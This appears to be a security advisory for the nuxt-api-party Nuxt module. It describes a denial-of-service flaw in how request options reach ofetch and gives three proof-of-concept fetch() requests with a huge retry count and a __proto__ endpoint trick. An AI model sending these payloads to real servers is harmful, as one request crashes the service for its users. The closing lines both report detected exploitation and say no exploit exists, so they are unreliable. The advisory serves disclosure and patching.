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GHSA-q6hx-3m4p-749h
No affected components available
Summary
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.
The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
Details
fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
PoC
POC using Node.
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can use __proto__ as a substitute for the endpoint if it is not known.
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can build the size of the stack faster by using more complicated URIs
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
Impact
Full DOS, server is unusable during attack. Requires a single request.
Fix
Limit which options can be passed to ofetch.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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